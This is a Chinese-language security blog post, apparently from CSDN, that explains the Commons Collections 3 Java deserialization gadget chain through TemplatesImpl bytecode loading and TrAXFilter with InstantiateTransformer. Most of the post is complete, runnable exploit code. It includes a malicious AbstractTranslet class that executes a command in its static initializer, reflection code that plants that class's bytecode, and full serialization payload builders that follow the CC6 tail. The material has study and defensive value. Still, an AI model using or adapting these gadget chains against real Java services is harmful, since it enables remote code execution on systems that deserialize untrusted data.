介绍
CC3 与 CC1 和 CC6 的主要区别在于,CC1 和 CC6 依赖反射机制来执行 Runtime.getRuntime().exec() 等危险命令,而如果服务器将这些方法列入黑名单,这两种方式就会失效。相比之下,CC3 通过类加载器动态加载恶意类来执行危险函数,绕过黑名单限制,从而达到命令执行的目的。
公众号:Tutu安全
环境
使用CC1作为尾链时,JDK版本 < 8u71;
使用CC6作为尾链则不受版本限制;
Commons Collections版本 <= 3.2.1;
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
ClassLoader类加载
在Java中,ClassLoader 是核心组件,负责在 JVM 运行时动态加载类。
类加载的流程如下:
-
- loadClass 是加载类的入口,首先会检查类有没有加载,如果未加载,会调用 findClass 方法进行查找。
-
- findClass 负责查找类,它是一个抽象方法,在 ClassLoader 本身中只会抛出异常。实际执行时,会调用子类中具体实现的 findClass,根据不同的类加载器实现不同的逻辑,最后调用 defineClass 方法进行字节码转换。(以 NoCallStackClassLoader 为例)
-
- defineClass 方法负责将字节码转换为 Class 对象,使其成为可用的 Java 类。
loadClass() -> findClass() -> defineClass()
代码分析
了解完 ClassLoader 的执行流程后,我们将重点放在 defineClass 方法上。之前分析中发现,defineClass 是 protected 权限,我们需要找到一个 public 权限的接口来调用。然而在 ClassLoader 中并没有找到,且同一文件中有多个 defineClass 方法。我们需要逐一查看有没有其他可控类调用了它。
1. 延用CC1/CC6
1.1. 捋清调用关系
最终在639行找到了 defineClass 被 TemplatesImpl 调用,但它是 default 权限,只能在包内访问。我们需要找包内是否有可以直接调用的地方。
在同一个类中,defineTransletClasses 方法调用了 defineClass ,但 defineClass 是 private 权限。我们需要找出谁调用了它。
继续在 TemplatesImpl.getTransletInstance 调用了 defineTransletClasses 方法。但要注意,只有 _class 为空时,才能进入 defineTransletClasses 。我们暂时不管它,继续往下找。
最终我们找到了可以直接调用的 newTransformer 方法,这里实例化了 TransformerImpl 类,把 getTransletInstance 传了进去。
OK,我们回头来整理一下流程:
-
- defineClass -> defineTransletClasses -> getTransletInstance -> newTransformer
1.2. 绕过if判断
通过之前的分析,我们知道 defineTransletClasses 和 getTransletInstance 中有几个 if 判断。为了构成利用链,需要满足这些条件。我们要确保 getTransletInstance 能执行到 defineTransletClasses,所以 _name 不能为 null,并且 _class 必须为空。
跟进 _name 发现是私有属性,不能直接修改。我们可以在后续的 EXP 中利用反射来修改这些属性。
在 defineTransletClasses 方法中,_bytecodes(一个二维数组)和 _tfactory 都不能为 null,否则会导致调用方法时出现空指针异常。
由于 _tfactory 被 transient 修饰,在序列化时会变成 null,这就需要我们在反序列化后手动为其赋值。
经过分析,发现反序列化时会自动创建 TransformerFactoryImpl 并赋值给了 _tfactory,所以我们不需要再去鸟它。
回到 defineTransletClasses 方法,接着分析。这里对传入的 _bytecodes 数组进行了循环加载。
第一个 if 判断检查传入的恶意类是否包含 ABSTRACT_TRANSLET。如果匹配, _transletIndex 会被重新赋值,如果不匹配,会抛出异常。传入的恶意类必须继承 AbstractTranslet,这样才能通过条件判断。
1.3. 完善EXP
首先创建一个恶意类,并运行它以生成 target 目录下的 .class 文件。
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Calc extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
// 这俩玩意是继承它必须要重写的,我也不想多写但没办法
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
我们回到编写我们的 EXP 代码部分。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
TemplatesImpl templates = new TemplatesImpl();
// _name 不为空 _bytecodes传入恶意类 测试阶段 _tfactory要手动实例化TransformerFactoryImpl对象
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nb666");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\Wang\\Desktop\\CC3\\target\\classes\\org\\example\\Calc.class"));
byte[][] shellCode = {bytecodes};
bytecodesField.set(templates,shellCode);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
1.4. TransformerImpl类分析
返回到 newTransformer 方法中,继续跟进 TransformerImpl 类。
继续往下看,可以发现它重写了transform方法,老熟人了。这时,我们可以利用之前在 CC1 或 CC6 中的代码,将它替换成我们想要的。
1.5. 完整的EXP
尾链部分使用的是 CC6 的利用链,前面的部分虽然不太一样,但后面和 CC6 一样。
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nb666");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\Wang\\Desktop\\CC3\\target\\classes\\org\\example\\Calc.class"));
byte[][] shellCode = {bytecodes};
bytecodesField.set(templates,shellCode);
//
// Field tfactoryField = c.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers_test = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_test);
Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "123");
HashSet<Object> hashSet = new HashSet<>();
hashSet.add(tiedMapEntry);
lazyMap.remove("123");
Class lazyClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field lzField = lazyClass.getDeclaredField("factory");
lzField.setAccessible(true);
lzField.set(lazyMap,new ChainedTransformer(transformers));
serialize(hashSet);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
return o;
}
}
2. InstantiateTransformer
2.1. TrAXFilter
我们回到 TransformerImpl.newTransformer 中,继续查找其他调用 newTransformer 方法的类。经过分析,发现只有 TrAXFilter 类的构造方法调用了 newTransformer 方法。接下来,继续跟进分析这一部分。
TrAXFilter 类的构造方法中调用了 templates.newTransformer,而 templates 是我们可控的。
作者通过 InstantiateTransformer 构造了这条链,并跟进到 InstantiateTransformer 中。在其构造方法中,传入了一个类并赋值给 iParamTypes,然后在 transform 方法中,通过 getConstructor 调用 iParamTypes 的构造方法。
2.2. 编写EXP
从上面的分析可以看出,我们可以通过传入 TrAXFilter 来控制 getConstructor 调用 TrAXFilter 的构造方法,并将 TemplatesImpl 对象作为参数传入。然而,问题在于 TrAXFilter 并没有实现 Serializable 接口。回想一下CC1是怎么解决Runtime无法序列化的。TrAXFilter.java 不支持序列化,关我 TrAXFilter.class 什么事?
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"nb666");
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\Wang\\Desktop\\CC3\\target\\classes\\org\\example\\Calc.class"));
byte[][] shellCode = {bytecodes};
bytecodesField.set(templates,shellCode);
Transformer[] transformers_test = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new TemplatesImpl[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers_test);
Map lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "123");
HashSet<Object> hashSet = new HashSet<>();
hashSet.add(tiedMapEntry);
lazyMap.remove("123");
Class lazyClass = Class.forName("org.apache.commons.collections.map.LazyMap");
Field lzField = lazyClass.getDeclaredField("factory");
lzField.setAccessible(true);
lzField.set(lazyMap,new ChainedTransformer(transformers));
serialize(hashSet);
unserialize();
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
return o;
}
}
标签:templates,Collections3,Java,java,new,org,apache,import,序列化
From: https://blog.csdn.net/m0_60442621/article/details/143791240